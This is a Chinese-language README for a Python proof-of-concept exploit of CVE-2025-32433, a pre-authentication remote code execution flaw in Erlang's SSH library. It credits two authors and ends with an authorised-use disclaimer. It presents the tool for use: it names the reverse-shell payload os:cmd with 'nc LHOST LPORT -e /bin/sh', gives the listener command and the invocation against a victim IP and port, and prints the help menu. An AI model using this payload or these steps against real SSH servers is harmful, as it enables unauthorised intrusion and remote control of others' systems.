CVE-2025-32433 Erlang SSH 库漏洞利用程序

针对 CVE-2025-32433 的概念验证漏洞利用程序，这是 Erlang 的 SSH 库中的一个严重漏洞，允许通过格式错误的 SSH_MSG_CHANNEL_REQUEST 数据包在认证前执行代码。

功能特性

• 原始漏洞利用程序 由 Matthew Keeley 编写
• 更新版本 由 Tyler Ramsbey 编写：
  • 针对 LHOST、LPORT、RHOST 和 RPORT 的命令行参数
  • 通过 argparse 提供内置帮助和用法
  • 使用 os:cmd("nc LHOST LPORT -e /bin/sh"). 的 Erlang 风格反向 shell 载荷
  • 每个阶段均有清晰的函数分解和状态日志记录

前置条件

• Python 3
• 攻击机上可用的 nc（Netcat）监听器
• 可访问目标 SSH 服务（默认端口 22）的网络

使用方法

1. 在攻击机上启动监听器：

   root@kitploit:~

   nc -lvnp 4444
   

2. 运行漏洞利用程序：

   root@kitploit:~

   python3 CVE-2025-32433.py -lh [Attacker-IP] -lp [Attacker-Port] -rh [Victim-IP] -rp [Victim-Port]
   

3. 等待 shell 连回你的监听器。

帮助菜单

$ python3 CVE-2025-32433.py -h
usage: CVE-2025-32433.py [-h] -lh LHOST -lp LPORT [-rh RHOST] [-rp RPORT]

Send a pre-auth SSH channel request with an Erlang RCE payload
to get a reverse shell

optional arguments:
  -h, --help            show this help message and exit
  -lh LHOST, --lhost LHOST
                        Local host/IP to receive the reverse shell
  -lp LPORT, --lport LPORT
                        Local port to receive the reverse shell
  -rh RHOST, --rhost RHOST
                        Target SSH server IP (default: 10.10.248.101)
  -rp RPORT, --rport RPORT
                        Target SSH server port (default: 22)

致谢

• 原始脚本 由 Matthew Keeley 编写 (MattKeeley)
• 此更新版本 由 Tyler Ramsbey 编写

免责声明

仅在你拥有或已获得明确许可进行测试的系统上使用此代码。未经授权利用漏洞属于非法且不道德的行为。